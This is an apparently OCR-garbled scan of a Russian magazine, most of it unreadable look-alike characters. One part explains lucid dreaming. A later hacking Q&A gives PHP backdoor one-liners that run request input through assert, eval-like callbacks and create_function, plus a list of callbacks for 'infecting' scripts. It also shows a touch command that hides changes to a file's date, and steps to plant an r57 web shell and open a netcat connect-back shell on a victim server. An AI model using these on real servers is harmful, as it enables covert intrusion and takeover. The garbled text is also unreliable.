€ OHW BO3MOXKHbI TCNEKO BO CHE.
HakoHew, None3sHo 3HATL HECKONb-
KO NpUMET, KoTopble ¢ Bonblion se-
POATHOCTLIO YKa3bIBIOT YEN0BEKY
Ha TO, YTO OH HaXOLMTCH BO CHE.
Ectb Takme cobeitus, koTopole
PEAKO KK MPEKTUHECKN HYKOT AR
HE MPOKMCXOAAT C YENOBEKOM HasABY,
3270 CAYHEI0TCA B CHOBUAEHUAX.
[oamMeueHD, YTD BO CHE BO3HMKA-
{OT TRYAHACTY C UTEHWEM [ HTP
MO3ra, OTBEYaIoWL WA 33 YTeHKE,
cnut). CHosMael HauuHaeT unMTaTs
Kaky-nmbo KHUry v Hagnmce,
HO HE MOXET NOHATE CMbICT PO~
YWUTAHHOr0. ByKBbI NPLIFaNT, Me-
HAIOTCA, MPUHUMAIOT HE3HAKOMbIS
oyeptarug. CTouT oTReCTH B3
OT HAAMMCH, @ 32TEM NOCMOTPETb
Ha Hee CHoBa — W HaAMUCh yXe
coBcem npyras. MiHoraa Yenoseky
KaXeTcs, UTo BCE NOHATHO, HO, NPOo-
CHYBLUWCh, OH HE MOXET CHOpMy-
NMPOBATE CMBICT MPOYNTAHHOIO.
Takre xe npoffieMbl BO3HWKAIOT C
UM GPaMK HE 3NEKTPOHHEIX Yacax
— WX HEBO3MOXHO pazobpaTe. B
NOMELEHMI HENb35 BKIIOHNTE
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Hblx popymos npo OC:

forum-worldofdrear

WK BBIKNIOYKTL ceeT, BepHee, MOXHO, HO 0CBELLLEHHACTL OT
370ro He noMeHseTcs. JlaMnoyka MoXeT rapeth, Ho BOKPY
Bypet teMHo. [MogobHble yTBEPXABHUS HaCTO BCTPeYaoTCH
B OMWCHWAX NIOAEN, NPAKTUKYIOLLMX OCO3HAHHbLIE CHOBM-
Aerus. Elle ogvH Npyu3Hak — 3aTPYAHEHWA € x0ns001A nnu
Berom. BuiBaOT TakKe CHbI, FAE MO CHXKETY HYXKHO OT KOTe-TO
ybexatk, nau npocto bblcTpo kyaa-Hubyab nobpaTses

— B 3TOT MOMEHTY CMSLLEro BOSHUKAET YYBCTBO, YTO OH
nepeaBuraeTcs kak bl B rycToM Kucene. Horu cTaHoBATCA
BaTHLIMY W LUEBENATCA HeeCTRCTBEHHD MeANeHHo. Hagep-

* bubnunoTeka Khur,
nocssweHHsx 0C:

e [lpyras nopbopka
kHur npo OC:
u/dreams MOXHO HAZBATE MHOMO APYTUX MOMEHTOB, KOTOPSIE YKakKYT

HAKE, Tol CMOX2LUb BCMOMHWTH CXOXWE MOMEHTSI M3 CBOUX
cobcTBeHHbIX CHOB. HarnaaHyo AeMOHCTPaLMIO MOXKHO
YEBUASTS B XYAOKSCTEEHHbIX QUILMaX NP QCOZHAaHHbIE

amlight.ru/
M CBETOM 1 MOHKWMAET, 4YT0 3aCTPAS B OCO3SHEHHOM CHE, 8
s ¢punbMe «CTepTan peanbHOCTh» MOKa2aH COH OLHOTO U3
FNaBHbIX repoes, rae oH TepsdeT CNocobHOCTL X04MTk, Ha-
XOLHACL B CHOBUAEHUM.

Ha CHoBUOeHWe. Bo cHe c yenosekom MOMYT NPOUCXOLNTBL

CHOBUAEHKA. Tak, B aHuMaunoHHoM Gunbme «[1pobyxneHue
KU3HK» rNaBHLIH Fepoi UCTLITEIBART 3aTPYAHEHMS C YacaMu

CoHHbIN Napanuy

EcTb Takoe cocTosHWe OpraHiaMa, KoTopoe AOBOJLHO CUNLHO nyraeT niogen,
MMEIOLLINX HeCHacTbe B HEro MnonacTb. BMecTe ¢ TeM, 370 COCTOAHME HE ABMA-
eTcA Kakoi-To Bone3Hsio 1, B UENOM, He MMEeeT BPeAHbIX MOCNeSCTBUIA AN
OpraHWaMa, kpome, pasge 4To, ucnyra. CyTb ABNEHUA TakoBa: YeloBekK Npo-
CLIN3eTCA WU He MOXeT nowesennTsed. OH yxe He B CHOBUOBHWM, X04ET BCTaTh,
HO HEe MOXeT aToro cfenats. B 31oT MoMeHT Yenosek cnocober nulws cnerka
NPUOTKPbLITL F1a3a W BUAeTh OKPYKalolyo obcTaHoBky, Ho He Banee. MonbiTku
nepeBepHyTLCA, 3aKpu4aTh He nMeioT yenexa. Boobasok BozHMKaeT YyBCTED
3aTpyAHEeHHOro AbixaHWA. C0 CTOPOHLI K3XKETCH, YT0 YENOBEK MPOCTO CMKT
[poxoAnT HECKONLKO MIHYT, M HENDBEKY BCE Ke YAAeTCA NMPOCHYTLCA OKOHYA-
TENbHO U BCTaTh.

Duznonormyeckn NPOUCXOANT chedyiollee: KOraa HenoBeK CruT, OH BXOMT B
COCTORHME TaK Ha3LIBEEMOrD COHHOMO Napanuya. HepeHas cucTema He pearn-
pYeT Ha UMMY/bLChI, NOChIIaeMble MO3rOM, W YENOBEK HeNoABXeH. Hapyledue
3TOr0 MexaHW3Ma NpUBoAMT K NyHaTKaMy. Korga yenosek npoceinaercs,
COHHbIM Mapanuy DoAKeH MrHOBEHHO Nponaaate. MIHOTAG, B CUNY KaKWUX-TO
NpW4KH, BulBAET TaK, YTO MO3M H4E/I0BEKa NPOCHYIICSH, @ OTKIIOYEHUE COHHOID
napanuua 3anasgsieaeT. BoATeCA 3T0M0 He cnefyeT, NPakTuKa NOKa3bIBaLT, 470
€CNU YCNOKOUTBECS U NPOCTO NOLOXATh, TO COCTOSHWE OpraHuaMa camo coboi
npuaeT B HopMy. CTpax 3aMefnaeT npouecce Buixofa U3 napanuua. Kak Bbl Thl
Hu BoAncs, Napanrt30BaHHbIM Thl BCE PABHO HE OCTAHELIbCH — Napanuy Heus-
GexkHo MponagaeT, eciu MO2T HaXOAWTCH B COCTOSHUM BofpcTBOBAHMA.

Ecnu yx ¢ ToBoll NpoucxoanT TaKoe, MOXHO WCMOL30BaTh 370 Ang Bxoga B OC.
Ma3r npocHyncs, Teno ewe HeT — WAealbHbIA MOMEHT 4R NOMLITKH NPSMOro
Bxoga 8 OC.

4
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EcnutebanpecnepyetTakoe Yyyguilie, 3Ham —
3TOCOH

panHTacTMyeckue cobeiTuA. Camoe CTpaHHoE, YTO YenoBeK
roTOB NPUHATL BCE 33 HMCTYKO MOHETY. YenoBeky cHUTCA
KYTKWFA MOHCTP, U OH BEPUT B TO, YTO AEACTBUTENELHO Has BY
BULMT XKYTKOTO, HEBO3MOXHOID, HECYPa3HOro MOHCTPA,
KOTOPLIV NpecnenyeT ero u xo4eT ybuts. B peanbHocTy aToT
YeNOBEK He BUAEN M HUKOTAA He YBUAMT HY4ero nogabHoro.
BEIBO[I — Mafio 3HaTh MPU3HAKU CHOBUIEHKA, HYKHO ELLE B
MCAXOASLMIA MOMEHT 3aCTABUTL CeBHA NOBEPUTL B TO, YTO Thl Ha-
X0LUWbCA Bo cHe. CaenaTh 370 4pe3sLlHanHo croxHe. Yenosex
CKICHEH OOBEPSATE CBOMM oLy eHKsAM. Heobxoammo cnoMaTts
3TOT CTepeoTun. Torja Jopora B OCO3HEHHOE CHOBUEHME
Bypet oTkpbiTa.

CMNoCcobbl AOCTUXEHUSA
OCO3HAHHOCTH

3Has TeopUIo, MOXKHO NPUCTYNaTs HENOCPEACTEEHHO K NPaK-
Tuke. He cyllecTByeT yHWBEPCaNLHOrD, NOAHOCTLI0 paboyero
crnecoba nonacTs B 0CO3HAHHOE CHOBWIEHWE, He cyulecTsyeTr
NocneAoBaTelbHOCTM AeNCTBWIA, FapaHTUPYIoWel cTabUNLHbIN
W PETYJRPHbIA BXOM B 3T0 M3MEHEHHOE COCTOAHWE COIHAHNE.
CosHaHWe yenoBeka — aTo He KOMNBIOTER, becn PEKOCNOBHO
BHIMONHAIOIMA BEEAEHHbIA 31TOPUTM.

CoobuwecTso npaktukywinx OCbl BeipaboTanc MHOXecTBO
cnocoboB, KOTOPLIE, NPW ONPeAeNeHHOM YNopCTEe, N0380/A-
{07 B3N0MaTh CODCTBEHHI MEXBHU3M CHOBKEHWUIA 1 0bpe-
CTU HaJ HUM SKeNaHHbI A KOHTPONb. Kax Akl BoneH BelbupaTs
Nnobok cnocob nNo ceoeMy yCMOTPEHWIO M a3anTUPoBaTh ero
nog cebsa. Cnocobsl MOXHO KOMOWHKUPpOBaTS.

Kak v s nwobom nene, Hanbonslme TPYAHOCTH MCMEITIBIOT
HOBUYKK. ,D'OE)MTbCﬂ NepBEoro 0CO3HaHHOMO CHOBWABHKSA
CAGKHO, MY MHOTWX 3TO 3aHNMaeT 3HauuTenbHoe Bpems. 0T
Hadana npakTruky go ﬂBpBOﬁ OCO3HaHHOCTA — NMPK YCIO0BKHH,
uTo 4enoBek 06Na AT HYKHBIM YPOBHEM JMCLUTINHEI

— MOXET HDOGITIA OT HECKONBKWX HEOENb 00 HECKOJIbKAX
mecsues. Mocne nepsoro 0Ca geno naet nerye: nepepblisbl
mexay OCamu cTaHOBATCA MeHbLUe, M Nepej CHOBUALIEM
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BocHe BuiBaeT TRYAHO
onpenenuTL BpeMsd, rnags
Ha4acsl

BcTatT npobnemel MHore poaa, o
KOTOPbIX MO3Xe.

Mepexof K 0CO3HAHHOCTH MOXET
BHE3ATHO POU30KTY B CaMoM
of6blYHOM CHOBMAEHWUK, Be3 0cobbix
Ha To npu4dmH. Takoi OC moxeT
HaCTyNWThL Y 4ENoBeKa B AETCTRE,

{HDCHE YEero HenoBeK J0XKUTCH
cnath, kak 0bbiyHo] — v on ByoeT
paccMmoTpeH MHoM Hanbonee nog-
pobro.

HakoHeLl, BO3MOXeH MpamMoi
Mepexos oT JHEEHOM0 CO3HAHKA
Cpa3y B 0CO3HaHHOE CHOBUIEHUE
fe3 npoMexyTodHbIX CTafni. 370
Haubonee cnoxHbIA cnocob, 1 oH
LOCTYNEH NULWB NIOAAM C BEICOKOK
cTeneHbio camokorTpons. ObbiyHO
BoIbrpaeTca BpemMs B cepepuHe
HOYW, NpY 3TOM HeobxoanMo
MPOCHYTLCA M HEKOTOPOE BPEMA
bogpcTeOBaTL, Npexne YeM 3a-
CHyTb CHoBa. 3ToT cnocob byaert
paccMOTPeH MHOM B CaMOM KoHLE
CTaTbM.

LeicTBUTENbHO, 0CO3HAHHEA COH
MOXET BOSHWKHYTL cam cobold,

HO eCNK XKOaTb €ro M HAYEro He

JloxkHble npobyxaeHus

MpeacrtaBb, YTO OAHAXAB! YTPOM Thl NPOCHINASLWECS, BCTaLlWb C
KpOBaTh, MAELWbL B BAHHYI0, TaM CMOTPMIL Ha cebs B 3epKano u
2aMedacilb, 4To BbiMNagnlb Kak-To CTpaHHO, He Tak, Kak 0BBIYHO.
Ornaneslnc, Tol BUAWW b, Y4TO NMPEAMETH TOXE NeXaT He Ha CBOMX
0ObI4HBIX MecTax. Teba He nokWaaeT 4yBCTBO, YTO BCE BOKPYN He
TaKkoe, KaKoe O0MKHO boith. B 9TOT MOMEHT Thl NPOCHINaeLWwLCs B
ceoeit noctenu. OkassiBaeTca, cobeiTia nocie npobyxgeHus boinu
CHOM, W OpraHn3M 4yBCTBOBaN 370, MOLMEYan BCE HECOOTBETCTBUA.
Tl BCTaEWb, ONATL MOELL B BAHHYO, W TYT Tebe Ha cekyHy KaxeTcs,
4TO OMATH YTO-TO He B nopsgke. He ycnes 08aymaTs 370, Thl BHOBL
0Ka3biBaewbsCs B cBoel noctenw. MpocHyncs no-Hacroswemy? Man
310 onaTe coH? Kak BuiTs 8 Takoll cutyauuu?

370 AIBNEHME NOYHUI0 Ha3BaHMe «NoKHble Npobyxaenna» u BcTpe-
YaeTcs [aXe y TeX, KTO HUKOra He 3aHUMaNcs CCO3HAHHbIMK CHOBM-
neHuAMu. [oAraTOBNEHHbIA YeNOBEK MOXET MCNONb30BAThL NOXKHbIE
npobyxgeHua ans exopa B OC, HenofroToBREHHOMY 0CTAeTCs TONBKO
¥/aTh HaCTOAWEro Npobyx/aAeHWA, MHOTLE HacTynawoulero Yepes 7-9
NOXHbBIX. C HeﬂpMBh\HKH MOXKHO MNOTOM B2Ch A2Hb XOOWTb U COMHE-

28aThCA B PEANBHOCTM BCErD OKPYXaloWero.

MONGH)ﬂOﬂPOBOBATbHPOCYHYTbﬂAHOHquPES
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Kapta Mupa CHoBUOEeHWIA, coCTaBNeHHad

r®.JlaskpapTom

VA MOXKET CIY4aThCA Y OMBITHBIX

CHOBWJLEE, MO3I KOTOPbIX NPUBbIK
k 0coBoMy pexxmmMy QyHKLUOHUPO-
BaHus cozHakus. Ecnm denoeex He

rOTOB K OCO3H3HHOMY CHOBWOEHWIO,

TO OH MOXET MPOCHYTLCS, MW NO-
TepATL 0CO3HAHHOCTE 1 BO3Bpa-
TUTLCS K 00bIYHOMY CHY.
CHOBWIEL, MOXKET 2apaHee roTo-
BWTL cebf ANd pacnosHaBaHus
q)aﬂbLuVlEDCTM Mpa CHa K BXoda
8 0C. Crnocob TpebyeT anpene-
NEHHbBIX AEACTEUN B TEHEHWNE AHF
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Lenartb, TO MOXHO He [oXAaTbCA 1 38
BCH KM3Hb.

NMPUBbIYKA
COMHEBATbCH

He Hy»xHo BbITb npadeccopom,
4TOOBI 3aMETWTh, UTO BO CHE Yenosek
33HMM2ETCH B OCHOBHOM TEM Xe
cambiM, 410 v Haasy. OcHoBHbIE
3EHATUS U NPUBLIYKY HENoBe-

K3 HaX04AT CBOE OTPEXKEHME B

ero CHOBMAEHWAX, MHOrAa Aaxe
CAWLWKOM HaBf3uMB0. Tak, Bpocue-

Fal =
I \LJP

YTO HE MO-

LIWMM KYPWTH [ONM0 CHUTCA, YTO OHK
onATL KypAT. Jliofm, ucneirasiwine
HEPBHOE HaNpPXeHMe Ha 3k3ame-
HaxX B lWKone unu Byaej BTe4YeHKe
KN3HW MHOTLA BUAAT KOLLIMapsl Npo
HeBbly4deHHbIH bunet. Ecnun yenosex
NAWWACA KOHEYHOCTH, TO BO CHE CH,
pasyMmeercs, BMONT cebag I'Ipe)KHEM,
npMBLIYHOM cocToaHKuK. OTcioaa Bol-
BO4 — ecniu HaMEpCHHD BblpaBDTaTb
y ceBA HeKYI0 NPUBLIYKY, TO OH3 B
OﬁﬂBaTEﬂbHOM NOpALKE MOABUTCA W
B CHOBMABHWAX.

Takol NPUBLIUKON AOMKHE CTaTs
NpoBepKa peanbHoCTW. HyxHOo Bbl-
paboTaTh NpUBLIYKY COMHEBaTLCH

B PeasbHOCTW NPOVICXOASLLETO,
[ONYCKaTb, YTO BCE BOKPYT MOXET
BeiTe cHoM. [poBepka peansHocTH
ocyllecrBndaeTcH OOBONLHO ﬂpOCTO
— HYXHO ik 3a8aTe cebe Bonpoc
CTMII0 W f CERYACT» U HanTW
EPryMEHTUPOBAHHDI 0TBET Ha Hero.
OTteeT fosmkeH BbITh NpoAYMaHHEIM,
YBEPEHHbIM, 0CHOBaHHBIM Ha dak-
Tax. YacTto BCTpEYaASTCH CUTYaL1a,
KOraas YeloBek U HadBYy, U BO CHe
nocne 3TOro BONpoca pafjocTHo, He
330YMBIBAACE, YUEPES CEKYHY OTRE-
yzet: «KoHeuHo xe, HeT». He cTtouT
0TBEYaTEk CTONbL NOCNEeLWwHa. CTOHT
N1 TOBOPUTL, YTO TAK OCO3HAHHOCTH
HUKOrda He 4oCTh4b SagaBaTh
BOMNPOC CNeyeT HECKONbLKO Pa3 B
AeHb: HeM Yale, Tem nyyile, unpu

3TOM MPOBEPATE PEANBHOCTL He
TONBKO YMO3PWTENLHO, HO WM MPaKkTy-
Yecku Hy)KHO NbITaTECHA COBEPLWUNTDL
TaKoe LelicTBKe, KOTOPOE HEBO3-
MOXKHO HasaBY, HO BO3SMOXXHO BO CHE.
HanpuMep, MoxHo NonpoboBaThb
noneTeTs CUNoK Mbicnu. OueBua-
HO, YTQ 8CM TaKoe nonyyaeTcs,

TO 4e/ICBEeK OQHO3HAYHO CruT.
MoxHo nonpoboBaTe NPOCYHYTL
NafoHb Yepes CTeHY, MOXHO pac-
cMaTpuBaTh 0DCTaHOBKY BOKPYT

M WCKaTk YTo-To HeobuiYyHOE,

UTO HE MOKET CYLIECTBORATE B
peansHocTy. MoxHo nonpobosaTts
NPUMNOMHWTL NOCNeoHNe COﬁbITMﬂ,
HEMpUMER, K2K Thl TYT Okasancs.
Ecnn BCNOMHWUTL He nony4aeTcs,

70 nwbo y Teba amHeans, nubo Thi
npocTo cnvile. Hero He cnepyet ge-
NaTk, TAK 3TO KakUX-11b0 0nacHblx
BELWEN, KOTOPbIE MOTYT MPMYUHWTb
Bpen Tebe vnv okpyxaiowmm. Ha-
npumep, 4Tobs NoneTeTh, BOBCE He
CTOWT MpeIraTh B okHO. Korpa Tei 2a-
HUMAaELWbCA IKCNEPUMEHTaMN C CO-
3HaHWeM, BCergaa cyulecrsyeT Bepo-
ATHOCTH HEBEPHO pacno3HaTk, rae
Thl HaXoAWLWbCH — B peallbHOCTK
MK B CHOBMAEHUK. Bo cHe Takas
owwnbka coBepweHHo besonacHa, a
BOT H2ABY M0 NOHATHBIM MPUUUHAM
HaobopoT, KpalHe onacHa.

B ntore, npuesiyka cTaHeT cHavana
YaCTEI0 TBOH XM3HW, 3aTeM —
YaCTHIO TEOUX CHOBUAEHWIA. PaHo

WK MO3QHO BONPOC «PEANbHO K BCe
BOKpYr» OyfeT 3a4aH B CHOBUOEHWUM, U
Ha Kero OyfeT AaH NpaBribHLIA OTBET,

BO3BPALLEHUE
B COH

Terepk paccMaTprmM cnocod rNpsamMoro
sxopa s OC, npamo ns bogpeTBoBa-
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PabotaHapg coboi noMoXeT BEIATM Ha Jopory
OCO3HaHHOCTH

HUs. He cekpeT, 4To ecnv Yenosexa
pazbyanTh Cpefm HOUM 1 3aCTaBN T
BCTaTh, TO CaMbiM BONbLWWM ero
KeslgHMEeM B 3TOT MOMEHT EIWJGTJ'IE“—H:
obpaTHo 1 cHOBa 3acHyTb. Ecnu
MO3BONNUTL 3TO COENATh, HENOBEK
3acHerropasfio 6bECTpee. yeM korga
OH NOXMIICS CNaTh B Nepselii pas. 3a-
CHYB, OH BepHeTCA BTy e dazy cHa,
13 KoTopow npocHyncs. Bo eTopown
NonoBUHE HoYK HaboaawTes
MPOLOIIKNTENEHBIE MEPUOALI Ga3kI
BAI HysxHo 3agecTn ByaunbHmk
Tak, 4Tobul oH pazbygun Tebs

Kak pa3 s a1y pasy. Kakyrapars?
Hukak, MoxHO nonararbes nuilbL Ha
CTaTUCTMHECKYIO BEPOATHOCTE. Ecnn
Thl TPOCHYACA HOHbBIO U 38MOMHMI
L0CTaTo4HO HDKVH;I COH, TO, CKOopee
BCErO, B 3TOT COH Thl U BEPHELLLCA,
xorja3sacHels. [loatomy, npo-
CHYBLIMCb HOYBK), HY>KHO BCTATh,
HECKONBKO MUHYT MOX0ANTh, 4Tobhl
MOZr BCE-TAKW HEMHOFO MPOCHYIICS,
1 CHOBa NeYyb. B aToT MoMeHT HYXXHO
COCPeAOTO4NTLCA U NonpoboeaTe
CAenaTb TaK, yToBbI CHOBA 0KA3aThCH
B CHOBMOEHWW, HO NpK 3TOM COXPa-
HUTb CO3HaHWe Kak npn bogpcTeoBa-
HUW. HpaKTV]Ka nokKazelBaeT, 4To 370
04E8HbL CNOXHO, W HE 3TO CNOCobkbI
nanexkoHe Bce. MoXHo YuTaTL OT
HYeTbI TeX, KTO YTBEPXKAAET, 4TO MM 3TO
yaanock, M NpoboBaTk NoBTOPATE 33
HuMK. 0BbIYHD paccKazkiBaoT 0 KOH
LLeHTPaLmM Ha 3puTenbHsix 0bpazax
v 0 kakoM-To ocobom paccnabnesmm
Tena.

NPOBNEMbI

Ecnu nocmoTpets B CeTv TemaTuve-
ckme GopyMbl, rae 0bLaoTea cHo-
BuALbl, To pasgen «Cnocobel Bxoga
8 OC» bypeT conepxaTtk fAecaTku
pasnuyHbIx MeTogos. [ns Havana
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HY>HO NpoBoBaTh pa3Hsie cnocobsl,
coyeTats ux. Korga oguH n3 Hinx
cpabotaeT [naneko He cpazyl, MoXHO
Bypet e ganbHellem MCNoib3oeaTs
TONBLKO ero

Korpa HahpeH ontumansHeli criocob
exo4a 8 OC, Ha nepBbIi NNaH Bbi-
*0AWT Apyrana npobnema. OcHos-

HOI BOMPOC Ha 3TOM 3Tane — Kak
yoepxatecs 8 OC npofonxutensHoe

ECJINTbINPOC
H@ﬁ?ﬁﬁﬁ*UW
BEPHELLUBCH, KOT,

KacTtaHepb

[Mepebie oneimel c OC, ckopee Beero,
ByayT Hanbosiee sMoLMOHATTBHBI,
HeobxoaumMoe COKOMCTBME NpUAET
C OMbLITOM.

[pyrve npobnemMel CBA3aHbI C TEM,
yTo Yyenosek, nonagada s 0C, xouer
[enarth HEBO3MOXHbIE BELW, BCE W
cpa3zy. HanpumMep, ynetets s koc-
MOC W MOCMOTPETH OTTYAS Ha HaLLY
nnaHeTy. TyT B geno sctynamT

CHYJICA U 3ANMOMHUN

ﬁ i; \_\)‘W}E h'w‘f‘

;3% 3 3&@% =

Takue JieTyHbiNMpecnenyrwTBO CHE unTaTenein

OPYTO/ MUP
Unu MJU'II-DBVIFI"

McenenoBaTenu 0CO3HaHHbIX CHO-
BUAEHWIA JeNATCS Ha ABa nareps.
OpHM MpUACPXKUBAIOTCA HaYYHOTO
noaxoda, Apyrve CBA3bIBAIOT AE-
nenve OC c paznnyHsIMu 330Tepu-
YeckuMu yyeHnamu. Cpeaum npak-
THUKYHOLLMX 0CO3HAHHbLIE CHbl eCTb
Hemano nocnegoBatenen Kapnoca

OOCTATOY-
0O,BHEIOThIN
Lb. MO3TOMY, MPO-

CHYBLIJVICb, HY)KHO BCTATD, HECI(OJ'I bKOMUHYT

I'IOXOJJ,I/ITI:» Y

YIICSH

£\..d-'£‘ﬁr,

BPEMS, YTODL! YCNeTh BAOBOSL 10~
3KCMEPUMEHTUPORATS U MOMYUUTE
MaKCHMyM BnedatneHwin? MNepesie
OCul pegko AnaTcs A0MbLIE HECKONb-
KMX MUHYT, — TEM HE MEHEe, 3TOT0
xgataeT, yTobbl nocne npobyxaexns
BEITh B BOCTOPre aTTOro, Y10 nobel-
BaJ1 B MHOW peantHacTh M BEPHYNCA
obpatHo. KoreyHo xe, xoueTcs el
v nobonsiue, Kakatoro aobutecs?
LleHHbIM ka4ecTBOM CHOBUALA
ABNACTCA HEBO3MYTUMOCTh. He cne-
LyeT AaBaTh BOMI0 3MOLIMAM, KOTIa
Thl HaXOLMLWbLES BO CHE W LOCTMT
0co3HaHHoCTh. BocToprv npneogat
k Bbibpocy aapeHanuHa v npobyxae-
HWKO. Ecnv e 0CTaBaThes CNoKoi-
HbIM W He AepraTbes, Ta 3anpocTo
MOHO YAEPKATHCA B OCOZHAHHOM
CHOBWIEKVM HE BCEM MPOTAXEHUM
BT -haskl, a 310 4ecaTku MUHYT.

pa3Hble ncuxonarnyeckue bnokwm,
HaKaMeHHbIe 38 oAbl XU3HK, U C
nepeoro pasa, beigaet, He yaaetca
NOCTUTHYTh HAMEYEHHOW Uenu.
CHoBuAeL MOXET KaN0BaThed, K
NpyUMepy, Ha «NOTONOK», KOTOPbIIA
BO3HWKAET M2 HMOTKY/A W MellaeT
YNETETH AOCTATOMHO BBICOKO QT
semnu, [pobnembl Takoro pona
PeLIanTCH 3KCNIEPUMEHTAMM, TPE-
HUPOBKEMU M CAMOBHYLLEHWEM
CyulecteyoT ocobblie cocToaHuA,
CBA3aHHbLIE C NPOLECCOM CHa,

— camu no cebe oHM QOBONLHO
HENPWATHBLIE 1 NYTaiolWwue, Ho
MOTYT NOMOYb B [EJ1E NOCTUXEH WA
0CO3HaHHOCTW. 3TO COHHbIN napa-
N1y, NoxKHbIE NpobyxaeHrs [cmaTph
BPe3KM) W rMNHarorudeckue obpassi
(0Bpa3sl, BO3HMKAIOLME Nepen 32-
coinaHnem).

3@@5 ?‘ﬂ*?jﬁ“@@% TAKUHEMHOI'O MnPO-

Kactanepbl. Pazuble rpynns
330TEPUKOB-UCCIEA0BATENEN
YTBEPKAAI0T, 4TO BO3MOXHO NPo-
HUKHYTL B CHEl APYTOro Yenoeeka,
BCTPETUTLCH C CYLLECTBAMK U3
WHOTO MUPa, CaMOMY MOCETUTH
LDYr1E MUPLI, 8 TAKKE OTAENUTLCH
oTTena unobpoAnTe NO peanLHo-
cTv B 0Bbpa3ze npu3paka, BOIMAXKHO
Aaxe yBuaes cebs CNALLEro co
CTOPOHEL. HUYTO U3 MepeuncneH-
HOTO HE A0Ka3aHo HayKol U Bpaj
nn Korga-nvbyas byger nokasaHo.
CyTb 0COZHAHHBLIX CHOBWAEHMWIA
TaKDBa, 4T0 TaM MOXHO YBU-

[I8Tb TO, BO UTD BEPULLL HASBY.
¥8uaeHHoe, B CBOI0 aYepefb, eule
Donble ykpennset Bepy. Tak yuTo,
NPaKTUKYs DCO3HAHHbLIE CHOBULE-
HWUS, He CTaHb NAEHHUKOM CBOMX
WIN03UI.
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0: He ynosneTeopeH pesynstataMu, KoTopble
npepnaraet cepec www.myipneighbors.com

v emy nogobHbie. Mogckaxu, Kak ewe MoXHO
HawGonee AOCTOBEPHO Y3HaTb, KAKNe CaliTbl X0C-
TATCA Ha OAHOM CepBepe CXKepTeon?

A:BTBOEM CRyyae Mary NocoBeTOBaTs 3amMaqa-

TefbHBIA cepeuc hilp//spye .COM, KOTOPbLIA
cobunpaeT 1 CTPYKTYpUpYeT MHdopMaLMIo 0
CalTax U3 OTKPBITHIX MCTOUHMKOS.

Cobupaetcs takas wHdopmaums, kak: IP-anpeca,
naeHTUdMKaTopsl Google Adsense, nagHTu-
duratopbl Google Analytics, nnertugurarops
Yahoo Publisher Network, naeHtndukarops
Hnpexc. JupekT.

Ha ocHoBe coBnageHunii IP-agpeca, pexknam-
HbIX UAEHTUPHUKETOPOR M WAEHTU(HUKATOPOB
CepBUCOB CTAaTWCTUKKW U enaeTcq BbIBOO O
MPUHAANEXHOCTH FPYNNLI CAATOB DAHOMY
cepeepy.

Ha faHHBIi MOMEHT CEpBUCOM MPOVMHOEKCHMPO-
gano bonee 107 MUNIMOHOB AOMEHOB, M3 HIX:

9 105 180 canToe c kopoM Google Analytics, 4
262150 caitos c kofom Google AdSense, 20406
caiToB ¢ kopgoM Yahoo Publisher Network, 13 448
— Yandex Direct.
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[ns nposepki nioforo calita npocTo Bbel ero
a/ipec B COOTBETCTBYIOLLEE OKOLLKD.

Takxe nofpobHenwyo MHDOPMaLWIo O HYKHOM
noMeHe v ero coceasx Tebe npepoctasuT ele

oguH cepeuc — hitp://www.robtex.com/dns.
3necs, kak BuaHo U3 URL, nonck npomcxonut Ha

ocHoBe MHGapMaumMk o dns carTa XepTasbl.

0: Bosepawancs K BONPOCY 0 NPOTPOSHUBAHUK
ckpunToB. Kakue ewte cnocobbl Tl 3Haewb?
A:[Momumo cnocaba, onucaHHoro B npegsidyLlem
daxe (Hanbonee nopgxoasuiero ang SEO v co-
KpbITUS UHKYA0B), CYLLECTBYRT ELLUE MHOXECTRO
cnocoboB 0CTaBwTL HeBOoALLIOro U HE3aMeTHOro
YepBAYKa B CKPUNTAX Ha Cnydal yTepw goctynal
LENNE K HUM:

<?php

Sal(s$b); //register_gleobals = On,
KO BHIIONHAETCH CHeOVDIMM 0Bpa30M:
sgript.php?a=assert&b=phpinfo();
Rt

Snew = create_function('s$x',
"return S_REQUEST[al;");

Snew(0); // script.

O

php?a=eval (phpinfo{) )

—
Sa=call_user_func($_
REQUEST[a] , "' ,5 REGUEST [al) ;

Sh=call_user_func(sa);

echo (5b); // script.php?a=create
function&a=return eval ($_
REQUEST [b] ) ; &b=phpinfo{) ;

#-——%

Sa=call_user func($_REQUEST[a],$_
REQUEST [b]) ;

echo($a); // script.
php?a=phpinfo&b=-1

Fo—-#

usort ($_REQUEST['a'], &_
REQUEST(['b']); // script.php?al]l=-
l&b=phpinfo

F-——#

array_map ($_REQUEST[a] ,$_
REQUEST[b]); //script.php?a=-1-
&b[]l=phpinfo

#-——#

assert(S_REQUEST['a'l); //script.
php?a=phpinfo();

#-——%
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ob_start (§_REQUEST['a"']);
echo $_REQUEST['b'];
ob_end_ flush(); //
php?a=phpinfo&b=-1
#-——4

s

script.

Takexe, no npumMepy c usart, array_map u

ob_start npeactasngio Tebe HeboNbWOA CNMCOK

callback-dyHKUuiA, NpUrogHbIX ANA 3apaxeHus:
register_shutdown_function

set_error handler

call user_ func_array

call user method

call_user_method_array

uasort

uksort

array_filter

array_reduce

array_walk

preg_replace_callback

stream_filter register

xml_set element handler

xml_set_default_handler

xml_set notation_decl_ handler

xml_set_ character_data_handler

xml_set_end_namespace_decl_handler

xml_set external entity ref

handler

xml_set_start namespace_decl_

handler

xml_set unparsed entity decl_

handler

xml_set_processing instruction

handler

xmlrpc._server_call_method

xmlrpe_server register_method

xmlrpe_server_register

introspection_callback

B nboM cnydae, nocne npoTposHUBaHUS HYX-
HOTO CKpUnTa He 3abeiBail Bo3BpaLIATL ero faty
MOOMPUKALMK:

touch -t yearmonthdayhoursminutes.

seconds ./script.php

0: Onuwu BKpaTue Haubonee peanbHble crnocobbl
nony4uuThb root Ha ceppepe.

A: [epBbiM AENOM, KOHEYHO Xe, Tebe HyxeH Beb-
Lenn Ha cepeepe xeptabl. Kak ero nonyyats, A
HageCk, Thl 3Haelb 1)

3atem Tl Bpag v oboipebes bes uHTepak-
TUBHOrO LLUENNa, 3aMyCTUTh KOTOPLIA, Hanprumep,
MOXHO TaK:

1. 3anuBaeM Ha caitT xepTBbI rS7 Wenn ot rst;
2.CrasuM Ha ceol windows-geank netcal
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Z.3anyckaemM netcat Ha NpocnyLKMBaHKe NOPTa
11457: cmd.exe = ci/nc/nc.exe -l -p 11457;

4.B r57 wenne 3anyckaem connect-back

(6 none IP snucbigall — ip TBOEro Aefuka,
nose c NOPTOM W NMaposieM ocTaBNAr 4edon-
THBIMW];

